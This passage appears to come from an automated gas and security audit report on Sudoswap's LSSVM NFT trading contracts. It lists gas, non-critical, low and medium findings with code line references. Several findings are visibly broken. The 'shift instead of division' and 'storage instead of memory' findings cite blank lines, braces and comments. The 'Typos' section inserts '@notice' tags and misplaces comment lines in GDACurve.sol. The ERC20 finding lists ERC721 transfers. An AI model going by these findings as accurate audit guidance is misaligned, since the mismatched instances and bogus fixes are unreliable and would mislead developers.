File: VeryFastRouter.sol

126:                 prices[i] = prices[i] + (prices[i] * slippageScaling /
 ↪  1e18);

218:                 outputAmounts[i] = outputAmounts[i] - (outputAmounts[i] *
 ↪  slippageScaling / 1e18);
```

[GAS-4] Using bools for storage incurs overhead Use uint256(1) and uint256(2) for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from ‘false’ to ‘true’, after having been ‘true’ in the past. See source.

Instances (3):

```
File: LSSVMPairFactory.sol

56:     mapping(ICurve => bool) public bondingCurveAllowed;

57:     mapping(address => bool) public override callAllowed;

60:     mapping(address => mapping(address => bool)) public
 ↪  settingsForCollection;
```

[GAS-5] Cache array length outside of loop If not cached, the solidity compiler will always read the length of the array during each iteration. That is, if it is a storage array, this is an extra sload operation (100 additional extra gas for each iteration except for the first) and if it is a memory array, this is an extra mload operation (3 additional gas for each iteration except for the first).

Instances (22):

```
File: LSSVMPair.sol

673:         for (uint256 i; i < calls.length;) {
```

```
File: LSSVMPairERC20.sol

68:             for (uint256 i; i < royaltyRecipients.length;) {

93:             for (uint256 i; i < royaltyRecipients.length;) {
```

```
File: LSSVMPairETH.sol

57:         for (uint256 i; i < royaltyRecipients.length;) {
```

```
File: LSSVMRouter.sol
```

```
215:                    swapList[i].swapInfo.nftIds[0],
 ↪  swapList[i].swapInfo.nftIds.length

262:                    swapList[i].swapInfo.nftIds[0],
 ↪  swapList[i].swapInfo.nftIds.length

305:                    (error,,, pairOutput,,) =
 ↪  swapList[i].swapInfo.pair.getSellNFTQuote(nftIds[0], nftIds.length);

354:                        params.tokenToNFTTrades[i].swapInfo.nftIds[0],
 ↪  params.tokenToNFTTrades[i].swapInfo.nftIds.length

387:                            assetId,
 ↪  params.nftToTokenTrades[i].swapInfo.nftIds.length

437:                        params.tokenToNFTTrades[i].swapInfo.nftIds[0],
 ↪  params.tokenToNFTTrades[i].swapInfo.nftIds.length

463:                            assetId,
 ↪  params.nftToTokenTrades[i].swapInfo.nftIds.length
```

```
File: RoyaltyEngine.sol

182:                    for (uint256 i = 0; i < royalties.length;) {

264:                    for (uint256 i = 0; i < royalties.length;) {
```

```
File: VeryFastRouter.sol

125:                for (uint256 i = 0; i < prices.length;) {

217:                for (uint256 i = 0; i < outputAmounts.length;) {

275:            for (uint256 i; i < swapOrder.sellOrders.length;) {

387:            for (uint256 i; i < swapOrder.buyOrders.length;) {
```

```
File: erc1155/LSSVMPairERC1155.sol

143:            for (uint256 i; i < royaltyRecipients.length;) {
```

```
File: erc721/LSSVMPairERC721.sol

52:             _calculateBuyInfoAndUpdatePoolParams(nftIds.length,
 ↪  bondingCurve(), factory());

172:         (protocolFee, outputAmount) =
 ↪  _calculateSellInfoAndUpdatePoolParams(nftIds.length, bondingCurve(),
 ↪  _factory);

189:         for (uint256 i; i < royaltyRecipients.length;) {
```

```
File: settings/StandardSettings.sol

318:         for (uint256 i; i < splitterAddresses.length;) {
```

[GAS-6] Use calldata instead of memory for function arguments that do not get mutated Mark data types as `calldata` instead of `memory` where possible. This makes it so that the data is not automatically loaded into memory. If the data passed into the function does not need to be changed (like updating values in an array), it can be passed in as `calldata`. The one exception to this is if the argument must later be passed into another function that takes an argument that specifies `memory` storage.

Instances (3):

```
File: lib/IOwnershipTransferReceiver.sol

6:     function onOwnershipTransferred(address oldOwner, bytes memory data)
 ↪  external payable;
```

```
File: lib/OwnableWithTransferCallback.sol

45:     function transferOwnership(address newOwner, bytes memory data) public
 ↪  payable virtual onlyOwner {
```

```
File: settings/StandardSettings.sol

124:     function onOwnershipTransferred(address prevOwner, bytes memory)
↪  public payable {
```

[GAS-7] Use Custom Errors Source Instead of using error strings, to reduce deployment and runtime cost, you should use Custom Errors. This would save both deployment and runtime cost.

Instances (21):

```
File: LSSVMRouter.sol

504:         require(factory.isValidPair(msg.sender), "Not pair");

506:         require(factory.getPairTokenType(msg.sender) ==
↪  ILSSVMPairFactoryLike.PairTokenType.ERC20, "Not ERC20 pair");

522:         require(factory.isValidPair(msg.sender), "Not pair");

536:         require(factory.isValidPair(msg.sender), "Not pair");

549:         require(block.timestamp <= deadline, "Deadline passed");

578:             require(error == CurveErrorCodes.Error.OK, "Bonding curve
↪  error");

658:         require(outputAmount >= minOutput, "outputAmount too low");
```

```
File: settings/StandardSettings.sol

45:         require(owner() == address(0), "Initialized");

128:         require(pair.poolType() == ILSSVMPair.PoolType.TRADE, "Only TRADE
↪  pairs");

131:         require(pair.fee() <= MAX_SETTABLE_FEE, "Fee too high");

134:         require(msg.value == getSettingsCost(), "Insufficient payment");

144:             revert("Pair verification failed");
```

```
178:                require(block.timestamp > pairInfo.unlockTime, "Lockup not
 ↪  over");

180:                revert("Not prev owner or authed");

214:            require(msg.sender == pairInfo.prevOwner, "Not prev owner");

215:            require(newFee <= MAX_SETTABLE_FEE, "Fee too high");

231:            require(msg.sender == pairInfo.prevOwner, "Not prev owner");

309:            revert("Pricing and liquidity mismatch");
```

```
File: settings/StandardSettingsFactory.sol

28:         require(royaltyBps <= (BASE / 10), "Max 10% for modified royalty
 ↪  bps");

29:         require(feeSplitBps <= BASE, "Max 100% for trade fee bps split");

30:         require(secDuration <= ONE_YEAR_SECS, "Max lock duration 1 year");
```

[GAS-8] Don't initialize variables with default value *Instances (10)*:

```
File: RoyaltyEngine.sol

35:     int16 private constant NOT_CONFIGURED = 0;

81:         for (uint256 i = 0; i < numTokens;) {

182:                for (uint256 i = 0; i < royalties.length;) {

264:                for (uint256 i = 0; i < royalties.length;) {

336:         for (uint256 i = 0; i < numBps;) {

349:         for (uint256 i = 0; i < numRoyalties;) {
```

```
File: VeryFastRouter.sol

125:            for (uint256 i = 0; i < prices.length;) {
```

```
217:            for (uint256 i = 0; i < outputAmounts.length;) {

632:        uint256 numIdsFound = 0;
```

```
File: erc721/LSSVMPairERC721.sol

257:                    for (uint256 i = 0; i < numNFTs;) {
```

[GAS-9] Using `private` rather than `public` for constants, saves gas If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (2):

```
File: bonding-curves/ExponentialCurve.sol

15:     uint256 public constant MIN_PRICE = 1000000 wei;
```

```
File: bonding-curves/GDACurve.sol

21:     uint256 public constant MIN_PRICE = 1 gwei;
```

[GAS-10] Use shift Right/Left instead of division/multiplication if possible Shifting left by N is like multiplying by 2ˆN and shifting right by N is like dividing by 2ˆN

Instances (13):

```
File: LSSVMPairFactory.sol

335:     }
```

```
File: VeryFastRouter.sol

535:            );

544:            ) {

546:            }

550:                start = (start + end) / 2 + 1;

551:                priceToFillAt = currentCost;

594:                // get feeMultiplier from deltaAndFeeMultiplier

605:                    || currentOutput > pairTokenBalance

608:            }

612:                start = (start + end) / 2 + 1;

613:                priceToFillAt = currentOutput;
```

```
File: bonding-curves/LinearCurve.sol

77:

145:
```

[GAS-11] Use `storage` instead of `memory` for structs/arrays Using `memory` copies the struct or array in memory. Use `storage` to save the location in storage and have cheaper reads:

Instances (29):

```
File: LSSVMPair.sol

492:            ROYALTY_ENGINE.getRoyalty(nft(), assetId, saleAmount);

505:            ROYALTY_ENGINE.getRoyaltyView(nft(), assetId, saleAmount);
```

```
679:                if (!success && revertOnFail) {
```

```
File: LSSVMRouter.sol

299:                    if (nftIds.length == 0) {
```

```
File: RoyaltyEngine.sol

87:                     _getRoyaltyAndSpec(tokenAddresses[i], tokenIds[i],
 ↪   values[i]);

126:                _getRoyaltyAndSpec(tokenAddress, tokenId, value);

318:
 ↪   abi.encodeWithSelector(IRoyaltyRegistry.getRoyaltyLookupAddress.selector,
 ↪   tokenAddress)
```

```
File: VeryFastRouter.sol

100:

180:            arr[0] = valueToWrap;

194:

437:

632:            uint256 numIdsFound = 0;

653:                for (uint256 i; i < numIdsFound;) {

663:            return emptyArr;
```

```
File: erc1155/LSSVMPairERC1155.sol

60:                 _calculateRoyalties(nftId(), inputAmountExcludingRoyalty -
 ↪   protocolFee - tradeFee);

129:                _calculateRoyalties(nftId(), outputAmount);
```

```
213:                ids[0] = _nftId;

215:                amounts[0] = numNFTs;
```

```
File: erc721/LSSVMPairERC721.sol

56:               _calculateRoyalties(nftIds[0], inputAmountExcludingRoyalty -
↪   protocolFee - tradeFee);

176:                _calculateRoyalties(nftIds[0], outputAmount);
```

```
File: property-checking/MerklePropertyChecker.sol

22:         uint256 numIds = ids.length;

25:               if (!MerkleProof.verify(proof, root,
↪   keccak256(abi.encodePacked(ids[i])))) {
```

```
File: property-checking/PropertyCheckerFactory.sol

27:         MerklePropertyChecker checker = MerklePropertyChecker(address(merk⌋
↪   lePropertyCheckerImplementation).clone(data));

37:         RangePropertyChecker checker = RangePropertyChecker(address(rangeP⌋
↪   ropertyCheckerImplementation).clone(data));
```

```
File: settings/StandardSettings.sol

158:          address splitterAddress =
↪   address(splitterImplementation).clone(data);

172:

213:          // Verify that the caller is the previous owner of the pair

229:
```

```
File: settings/StandardSettingsFactory.sol
```

```
32:         settings =
 ↪  StandardSettings(address(standardSettingsImplementation).clone(data));
```

[GAS-12] Use != 0 instead of > 0 for unsigned integer comparison *Instances (3)*:

```
File: LSSVMRouter.sol

233:         if (remainingValue > 0) {

372:             if (remainingValue > 0) {

592:         if (remainingValue > 0) {
```

[GAS-13] `internal` functions not called by the contract should be removed

If the functions are required by an interface, the contract should inherit from that interface and use the `override` keyword

Instances (8):

```
File: lib/LSSVMPairCloner.sol

22:     function cloneERC721ETHPair(

112:     function cloneERC721ERC20Pair(

204:     function isERC721ETHPairClone(address factory, address
 ↪  implementation, address query)

238:     function isERC721ERC20PairClone(address factory, address
 ↪  implementation, address query)

274:         address implementation,

361:         ILSSVMPairFactoryLike factory,

450:         returns (bool result)

484:         returns (bool result)
```

8.1.2 Non Critical Issues

	Issue
NC-1	Missing checks for `address(0)` when assigning values to address state variables
NC-2	`require()` / `revert()` statements should have descriptive reason strings
NC-3	Event is missing `indexed` fields
NC-4	Constants should be defined rather than using magic numbers
NC-5	Functions not used internally could be marked external
NC-6	Typos

[NC-1] Missing checks for `address(0)` when assigning values to address state variables *Instances (4)*:

```
File: LSSVMPairFactory.sol

110:        _caller = _NOT_ENTERED;

349:        _caller = _NOT_ENTERED;
```

```
File: lib/OwnableWithTransferCallback.sol

25:        _owner = initialOwner;

71:        _owner = newOwner;
```

[NC-2] `require()` / `revert()` statements should have descriptive reason strings *Instances (1)*:

```
File: LSSVMPairETH.sol

126:        require(msg.data.length == _immutableParamsLength());
```

[NC-3] Event is missing `indexed` fields Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

Instances (18):

```
File: LSSVMPair.sol

82:     event SwapNFTInPair(uint256 amountIn, uint256[] ids);

83:     event SwapNFTInPair(uint256 amountIn, uint256 numNFTs);

84:     event SwapNFTOutPair(uint256 amountOut, uint256[] ids);

85:     event SwapNFTOutPair(uint256 amountOut, uint256 numNFTs);

86:     event SpotPriceUpdate(uint128 newSpotPrice);

87:     event TokenDeposit(uint256 amount);

88:     event TokenWithdrawal(uint256 amount);

89:     event NFTWithdrawal(uint256[] ids);

90:     event NFTWithdrawal(uint256 numNFTs);

91:     event DeltaUpdate(uint128 newDelta);

92:     event FeeUpdate(uint96 newFee);
```

```
File: LSSVMPairFactory.sol

75:     event ERC20Deposit(address indexed poolAddress, uint256 amount);

76:     event NFTDeposit(address indexed poolAddress, uint256[] ids);

77:     event ERC1155Deposit(address indexed poolAddress, uint256 indexed id,
 ↪  uint256 amount);

79:     event ProtocolFeeMultiplierUpdate(uint256 newMultiplier);
```

```
80:     event BondingCurveStatusUpdate(ICurve indexed bondingCurve, bool isAllowed);

81:     event CallTargetStatusUpdate(address indexed target, bool isAllowed);

82:     event RouterStatusUpdate(LSSVMRouter indexed router, bool isAllowed);
```

[NC-4] Constants should be defined rather than using magic numbers *Instances (3)*:

```
File: settings/Splitter.sol

23:         return _getArgAddress(20);
```

```
File: settings/StandardSettings.sol

70:         return _getArgUint64(40);

77:         return _getArgUint64(48);
```

[NC-5] Functions not used internally could be marked external *Instances (28)*:

```
File: LSSVMPair.sol

323:     function getAssetRecipient() public view returns (address payable) {

344:     function getFeeRecipient() public view returns (address payable _feeRecipient) {
```

```
File: LSSVMPairFactory.sol

342:     function openLock() public {

347:     function closeLock() public {
```

```
499:     function getSettingsForPair(address pairAddress) public view returns
 ↪  (bool settingsEnabled, uint96 bps) {

513:     function toggleSettingsForCollection(address settings, address
 ↪  collectionAddress, bool enable) public {

529:     function enableSettingsForPair(address settings, address pairAddress)
 ↪  public {

546:     function disableSettingsForPair(address settings, address
 ↪  pairAddress) public {
```

```
File: RoyaltyEngine.sol

66:     function getCachedRoyaltySpec(address tokenAddress) public view
 ↪  returns (int16) {

77:     function bulkCacheSpecs(address[] calldata tokenAddresses, uint256[]
 ↪  calldata tokenIds, uint256[] calldata values)

100:     function getRoyalty(address tokenAddress, uint256 tokenId, uint256
 ↪  value)

119:     function getRoyaltyView(address tokenAddress, uint256 tokenId,
 ↪  uint256 value)
```

```
File: erc721/LSSVMPairERC721ERC20.sol

27:     function pairVariant() public pure override returns
 ↪  (ILSSVMPairFactoryLike.PairVariant) {
```

```
File: erc721/LSSVMPairERC721ETH.sol

27:     function pairVariant() public pure override returns
 ↪  (ILSSVMPairFactoryLike.PairVariant) {
```

```
File: property-checking/PropertyCheckerFactory.sol

25:     function createMerklePropertyChecker(bytes32 root) public returns
 ↪  (MerklePropertyChecker) {
```

```
32:     function createRangePropertyChecker(uint256 startInclusive, uint256
 ↪  endInclusive)
```

```
File: settings/Splitter.sol

26:     function withdrawAllETHInSplitter() public {

41:     function withdrawAllBaseQuoteTokens() public {

47:     function withdrawAllTokens(ERC20 token) public {
```

```
File: settings/StandardSettings.sol

44:     function initialize(address _owner, address payable
 ↪  _settingsFeeRecipient) public {

69:     function getFeeSplitBps() public pure returns (uint64) {

85:     function setSettingsFeeRecipient(address payable newFeeRecipient)
 ↪  public onlyOwner {

95:     function getPrevFeeRecipientForPair(address pairAddress) public view
 ↪  returns (address) {

124:     function onOwnershipTransferred(address prevOwner, bytes memory)
 ↪  public payable {

170:     function reclaimPair(address pairAddress) public {

211:     function changeFee(address pairAddress, uint96 newFee) public {

225:     function changeSpotPriceAndDelta(address pairAddress, uint128
 ↪  newSpotPrice, uint128 newDelta, uint256 assetId)
```

```
File: settings/StandardSettingsFactory.sol

21:     function createSettings(
```

[NC-6] Typos *Instances (84)*:

```
File: LSSVMPair.sol

- 52:     // Sudoswap Royalty Engine
+ 52:     // @notice Sudoswap Royalty Engine

- 60:     // However, this should NOT be assumed, as bonding curves may use
↪  spotPrice in different ways.
+ 60:     // @notice However, this should NOT be assumed, as bonding curves
↪  may use spotPrice in different ways.

- 61:     // Use getBuyNFTQuote and getSellNFTQuote for accurate pricing info.
+ 61:     // @notice Use getBuyNFTQuote and getSellNFTQuote for accurate
↪  pricing info.

- 65:     // Units and meaning are bonding curve dependent.
+ 65:     // @notice Units and meaning are bonding curve dependent.

- 68:     // The spread between buy and sell prices, set to be a multiplier we
↪  apply to the buy price
+ 68:     // @notice The spread between buy and sell prices, set to be a
↪  multiplier we apply to the buy price

- 69:     // Fee is only relevant for TRADE pools
+ 69:     // @notice Fee is only relevant for TRADE pools

- 70:     // Units are in base 1e18
+ 70:     // @notice Units are in base 1e18

- 73:     // The address that swapped assets are sent to
+ 73:     // @notice The address that swapped assets are sent to

- 74:     // For TRADE pools, assets are always sent to the pool, so this is
↪  used to track trade fee
+ 74:     // @notice For TRADE pools, assets are always sent to the pool, so
↪  this is used to track trade fee

- 75:     // If set to address(0), will default to owner() for NFT and TOKEN
↪  pools
+ 75:     // @notice If set to address(0), will default to owner() for NFT and
↪  TOKEN pools

- 235:             // Calculate the inputAmount minus tradeFee and protocolFee
+ 235:             // @notice Calculate the inputAmount minus tradeFee and
↪  protocolFee

- 238:             // Compute royalties
```

```
+ 238:              // @notice Compute royalties

- 265:              // Compute royalties
+ 265:              // @notice Compute royalties

- 268:              // Deduct royalties from outputAmount
+ 268:              // @notice Deduct royalties from outputAmount

- 270:                  // Safe because we already require outputAmount >=
↪  royaltyAmount in _calculateRoyalties()
+ 270:                  // @notice Safe because we already require outputAmount
↪  >= royaltyAmount in _calculateRoyalties()

- 324:          // TRADE pools will always receive the asset themselves
+ 324:          // @notice TRADE pools will always receive the asset themselves

- 331:          // Otherwise, we return the recipient if it's been set
+ 331:          // @notice Otherwise, we return the recipient if it's been set

- 332:          // Or, we replace it with owner() if it's address(0)
+ 332:          // @notice Or, we replace it with owner() if it's address(0)

- 369:          // Save on 2 SLOADs by caching
+ 369:          // @notice Save on 2 SLOADs by caching

- 377:          // Revert if bonding curve had an error
+ 377:          // @notice Revert if bonding curve had an error

- 382:          // Consolidate writes to save gas
+ 382:          // @notice Consolidate writes to save gas

- 388:          // Emit spot price update if it has been updated
+ 388:          // @notice Emit spot price update if it has been updated

- 393:          // Emit delta update if it has been updated
+ 393:          // @notice Emit delta update if it has been updated

- 413:          // Save on 2 SLOADs by caching
+ 413:          // @notice Save on 2 SLOADs by caching

- 421:          // Revert if bonding curve had an error
+ 421:          // @notice Revert if bonding curve had an error

- 426:          // Consolidate writes to save gas
+ 426:          // @notice Consolidate writes to save gas

- 432:          // Emit spot price update if it has been updated
+ 432:          // @notice Emit spot price update if it has been updated
```

```
- 437:          // Emit delta update if it has been updated
+ 437:          // @notice Emit delta update if it has been updated

- 517:          // cache to save gas
+ 517:          // @notice cache to save gas

- 521:              // If a pair has custom Settings, use the overridden
↪  royalty amount and only use the first receiver
+ 521:              // @notice If a pair has custom Settings, use the
↪  overridden royalty amount and only use the first receiver

- 529:                  // update numRecipients to match new recipients list
+ 529:                  // @notice update numRecipients to match new recipients
↪  list

- 544:          // Ensure royalty total is at most 25% of the sale amount
+ 544:          // @notice Ensure royalty total is at most 25% of the sale
↪  amount

- 545:          // This defends against a rogue Manifold registry that charges
↪  extremely
+ 545:          // @notice This defends against a rogue Manifold registry that
↪  charges extremely

- 546:          // high royalties
+ 546:          // @notice high royalties

- 644:          // Ensure the call isn't calling a banned function
+ 644:          // @notice Ensure the call isn't calling a banned function

- 655:          // Prevent calling the pair's underlying nft
+ 655:          // @notice Prevent calling the pair's underlying nft

- 656:          // (We ban calling the underlying NFT/ERC20 to avoid
↪  maliciously transferring assets approved for the pair to spend)
+ 656:          // @notice (We ban calling the underlying NFT/ERC20 to avoid
↪  maliciously transferring assets approved for the pair to spend)

- 675:              // We ban calling transferOwnership when ownership
+ 675:              // @notice We ban calling transferOwnership when ownership
```

```
File: LSSVMPairERC20.sol

- 92:              // Transfer royalties (if they exists)
+ 92:              // Transfer royalties (if they exist)
```

```
- 105:         // Send trade fee if it exists, is TRADE pool, and fee
↪  recipient != pool address
+ 105:         // Send trade fee if it exists, is TRADE pool, and fee
↪  recipient is not pool address
```

```
File: LSSVMPairETH.sol

- 31:         // Require that the input amount is sufficient to pay for the
↪  sale amount and royalties
+ 31:         // Require that the input amount is sufficient to pay for the
↪  sale amount, royalties, and fees

- 34:         // Transfer inputAmountExcludingRoyalty ETH to assetRecipient if
↪  it's been set
+ 34:         // Transfer inputAmountExcludingRoyalty ETH to assetRecipient if
↪  it has been set
```

```
File: LSSVMPairFactory.sol

- 470:         // ensure target is not / was not ever a router
+ 470:         // Ensure target is not / was not ever a router

- 485:         // ensure target is not arbitrarily callable by pairs
+ 485:         // Ensure target is not arbitrarily callable by pairs

- 570:         // transfer initial ETH to pair
+ 570:         // Transfer initial ETH to pair

- 573:         // transfer initial NFTs from sender to pair
+ 573:         // Transfer initial NFTs from sender to pair

- 598:         // transfer initial tokens to pair (if != 0)
+ 598:         // Transfer initial tokens to pair (if != 0)

- 603:         // transfer initial NFTs from sender to pair
+ 603:         // Transfer initial NFTs from sender to pair

- 627:         // transfer initial ETH to pair
+ 627:         // Transfer initial ETH to pair

- 630:         // transfer initial NFTs from sender to pair
+ 630:         // Transfer initial NFTs from sender to pair
```

```
- 651:          // transfer initial tokens to pair
+ 651:          // Transfer initial tokens to pair

- 656:          // transfer initial NFTs from sender to pair
+ 656:          // Transfer initial NFTs from sender to pair

- 668:          // early return for trivial transfers
+ 668:          // Early return for trivial transfers

- 671:          // transfer NFTs from caller to recipient
+ 671:          // Transfer NFTs from caller to recipient

- 688:          // early return for trivial transfers
+ 688:          // Early return for trivial transfers
```

```
File: VeryFastRouter.sol

- 116:              // Set the price to buy numNFT - i items
+ 116:              // Set the price to buy numNFTs - i items

- 204:              // Calculate output to sell the remaining numNFTs - i
↪  items, factoring in royalties
+ 204:              // Calculate output to sell the remaining numNFTs - i
↪  items, factoring in royalties and fees
```

```
File: bonding-curves/CurveErrorCodes.sol

- 7:         INVALID_NUMITEMS, // The numItem value is 0
+ 7:         INVALID_NUMITEMS, // The numItems value is 0

- 10:         SPOT_PRICE_UNDERFLOW // The updated spot price goes too low
+ 10:         SPOT_PRICE_UNDERFLOW // The updated spot price is too low
```

```
File: bonding-curves/ExponentialCurve.sol

- 53:         // NOTE: we assume delta is > 1, as checked by validateDelta()
+ 53:         // NOTE: we assume delta is > 1, as checked by validateDelta

- 123:          // NOTE: we assume delta is > 1, as checked by validateDelta()
+ 123:          // NOTE: we assume delta is > 1, as checked by validateDelta

- 153:          // Account for the trade fee, only for Trade pools
```

```
+ 153:         // Account for the trade fee, only for TRADE pools
```

```
File: bonding-curves/GDACurve.sol

- 218:         // however, because our alpha value needs to be 18 decimals of
↪  precision, we multiple by a scaling factor
+ 218:         // however, because our alpha value needs to be 18 decimals of
↪  precision, we multiply by a scaling factor

- 224:         // lambda also needs to be 18 decimals of precision so we
↪  multiple by a scaling factor
+ 224:         // lambda also needs to be 18 decimals of precision so we
↪  multiply by a scaling factor

- 228:         // this works because solidity cuts off higher bits when
↪  converting
+ 228:         // this works because solidity cuts off higher bits when
↪  converting from a larger type to a smaller type

- 229:         // from a larger type to a smaller type
+ 229:         // see
↪  https://docs.soliditylang.org/en/latest/types.html#explicit-conversions

- 230:         // see
↪  https://docs.soliditylang.org/en/latest/types.html#explicit-conversions
+ 230:         // Clear lower 48 bits

- 235:         // Clear lower 48 bits
+ 235:         // Set lower 48 bits to be the current timestamp

237:         // Set lower 48 bits to be the current timestamp
```

```
File: bonding-curves/LinearCurve.sol

- 69:         // The new spot price would become (S+delta), so selling would
↪  also yield (S+delta) ETH.
+ 69:         // The new spot price would become (S+delta), so selling would
↪  also yield (S+delta) ETH, netting them delta ETH profit.

- 75:         // because we have n instances of buy spot price, and then we
↪  sum up from delta to (n-1)*delta
+ 75:         // because we have n instances of buy spot price, and then we
↪  sum up from 1*delta to (n-1)*delta
```

```
File: bonding-curves/XykCurve.sol

- 63:         // If numItems is too large, we will get divide by zero error
+ 63:         // If numItems is too large, we will get a divide by zero error

- 84:         // If we got all the way here, no math error happened
+ 84:         // If we got all the way here, no math errors happened

- 134:         // If we got all the way here, no math error happened
+ 134:         // If we got all the way here, no math errors happened
```

```
File: erc1155/LSSVMPairERC1155.sol

- 258:             // check if we need to emit an event for withdrawing the
 ↪  NFT this pool is trading
+ 258: // Check if we need to emit an event for withdrawing the NFT this pool
 ↪  is trading

- 272:                 // only emit for the pair's NFT
+ 272: // Only emit for the pair's NFT
```

```
File: erc721/LSSVMPairERC721.sol

- 254:                 // If more than 1 NFT is being transfered, and there is
 ↪  no property checker, we can do a balance check instead of an ownership
 ↪  check, as pools are indifferent between NFTs from the same collection
+ 254: // If more than 1 NFT is being transferred, and there is no property
 ↪  checker, we can do a balance check instead of an ownership check, as pools
 ↪  are indifferent between NFTs from the same collection
```

```
File: lib/LSSVMPairCloner.sol

- 170:             // 60 0x33     | PUSH1 0x33            | 0x33 sucess 0 rds
 ↪       | [0, rds) = return data
+ 170:             // 60 0x33     | PUSH1 0x33            | 0x33 success 0 rds
 ↪       | [0, rds) = return data

- 417:             // 60 0x33     | PUSH1 0x33            | 0x33 sucess 0 rds
 ↪       | [0, rds) = return data
```

```
+ 417:              // 60 0x33     | PUSH1 0x33            | 0x33 success 0 rds
 ↪       | [0, rds) = return data
```

```
File: lib/OwnableWithTransferCallback.sol

- 51:             // If revert...
+ 51: /// If revert...

- 53:                 // If we just transferred to a contract w/ no callback,
 ↪  this is fine
+ 53: /// If we just transferred to a contract w/ no callback, this is fine

- 55:                   // i.e., no need to revert
+ 55: /// i.e., no need to revert

- 57:                 // Otherwise, the callback had an error, and we should
 ↪  revert
+ 57: /// Otherwise, the callback had an error, and we should revert
```

```
File: settings/StandardSettings.sol

- 26:     uint96 constant MAX_SETTABLE_FEE = 0.2e18; // Max fee of 20%
+ 26:     uint96 constant MAX_SETTABLE_FEE = 0.2e18; // Max fee of 20% (0.2)
```

8.1.3 Low Issues

	Issue
L-1	`abi.encodePacked()` should not be used with dynamic types when passing the resu
L-2	Empty Function Body - Consider commenting why
L-3	Initializers could be front-run
L-4	Unsafe ERC20 operation(s)

[L-1] `abi.encodePacked()` should not be used with dynamic types when passing the result to a hash function such as `keccak256()` Use `abi.encode()` instead which will pad items to 32 bytes, which will prevent hash collisions (e.g. `abi.encodePacked(0x123,0x456) => 0x123456 => abi.encodePacked(0x1,0x23456)`, but `abi.encode(0x123,0x456) => 0x0...1230...456`). "Unless there is a compelling reason, `abi.encode` should be preferred". If there is only one argument to `abi.encodePacked()` it can often be cast to `bytes()` or `bytes32()` instead. If all arguments are strings and or bytes, `bytes.concat()` should be used instead

Instances (1):

```
File: property-checking/MerklePropertyChecker.sol

25:             if (!MerkleProof.verify(proof, root,
 ↪  keccak256(abi.encodePacked(ids[i])))) {
```

[L-2] Empty Function Body - Consider commenting why *Instances (32)*:

```
File: LSSVMPairETH.sol

130:     function _preCallCheck(address) internal pure override {}
```

```
File: LSSVMPairFactory.sol

373:                     } catch {}

375:             } catch {}

379:             } catch {}

384:                 } catch {}

385:             } catch {}

390:                 } catch {}

391:             } catch {}

398:                 } catch {}

399:             } catch {}

403:             } catch {}

410:     receive() external payable {}
```

```
File: LSSVMRouter.sol

488:     receive() external payable {}
```

```
File: RoyaltyEngine.sol

164:              } catch {}

170:              } catch {}

176:              } catch {}

191:              } catch {}

197:                  } catch {}

198:              } catch {}

211:                      } catch {}

212:                  } catch {}

219:              } catch {}

225:              } catch {}

231:              } catch {}
```

```
File: VeryFastRouter.sol

488:     receive() external payable {}
```

```
File: erc1155/LSSVMPairERC1155ERC20.sol

18:     constructor(IRoyaltyEngineV1 royaltyEngine) LSSVMPair(royaltyEngine) {}
```

```
File: erc1155/LSSVMPairERC1155ETH.sol

18:     constructor(IRoyaltyEngineV1 royaltyEngine) LSSVMPair(royaltyEngine) {}
```

```
File: erc721/LSSVMPairERC721ERC20.sol

18:     constructor(IRoyaltyEngineV1 royaltyEngine) LSSVMPair(royaltyEngine) {}
```

```
File: erc721/LSSVMPairERC721ETH.sol

18:     constructor(IRoyaltyEngineV1 royaltyEngine) LSSVMPair(royaltyEngine) {}
```

```
File: lib/OwnableWithTransferCallback.sol

50:             try
 ↪  IOwnershipTransferReceiver(newOwner).onOwnershipTransferred{value:
 ↪  msg.value}(msg.sender, data) {}
```

```
File: settings/Splitter.sol

62:     fallback() external payable {}
```

```
File: settings/StandardSettings.sol

142:         try pairFactory.enableSettingsForPair(address(this), msg.sender)
 ↪  {}
```

[L-3] Initializers could be front-run Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (10):

```
File: LSSVMPair.sol

132:     function initialize(
140:          __Ownable_init(_owner);
```

```
File: LSSVMPairFactory.sol

568:          _pair.initialize(msg.sender, _assetRecipient, _delta, _fee,
 ↪   _spotPrice);

596:          _pair.initialize(msg.sender, _assetRecipient, _delta, _fee,
 ↪   _spotPrice);

625:          _pair.initialize(msg.sender, _assetRecipient, _delta, _fee,
 ↪   _spotPrice);

649:          _pair.initialize(msg.sender, _assetRecipient, _delta, _fee,
 ↪   _spotPrice);
```

```
File: lib/OwnableWithTransferCallback.sol

24:     function __Ownable_init(address initialOwner) internal {
```

```
File: settings/StandardSettings.sol

44:     function initialize(address _owner, address payable
 ↪   _settingsFeeRecipient) public {

46:         __Ownable_init(_owner);
```

```
File: settings/StandardSettingsFactory.sol

33:         settings.initialize(msg.sender, settingsFeeRecipient);
```

[L-4] Unsafe ERC20 operation(s) *Instances (7)*:

```
File: LSSVMPairFactory.sol

576:              _nft.transferFrom(msg.sender, address(_pair),
 ↪   _initialNFTIDs[i]);
```

```
606:             _nft.transferFrom(msg.sender, address(_pair),
 ↪  _initialNFTIDs[i]);

673:             _nft.transferFrom(msg.sender, recipient, ids[i]);
```

```
File: LSSVMRouter.sol

525:         nft.transferFrom(from, to, id);
```

```
File: VeryFastRouter.sol

713:         nft.transferFrom(from, to, id);
```

```
File: erc721/LSSVMPairERC721.sol

218:             _nft.transferFrom(address(this), nftRecipient, nftIds[i]);

281:                     _nft.transferFrom(msg.sender, _assetRecipient,
 ↪  nftIds[i]);
```

8.1.4 Medium Issues

	Issue	Instance
M-1	Centralization Risk for trusted owners	23
M-2	Solmate's SafeTransferLib does not check for token contract's existence	18

[M-1] Centralization Risk for trusted owners **Impact:** Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (23):

```
File: LSSVMPair.sol

582:     function changeSpotPrice(uint128 newSpotPrice) external onlyOwner {
```

```
595:     function changeDelta(uint128 newDelta) external onlyOwner {

610:     function changeFee(uint96 newFee) external onlyOwner {

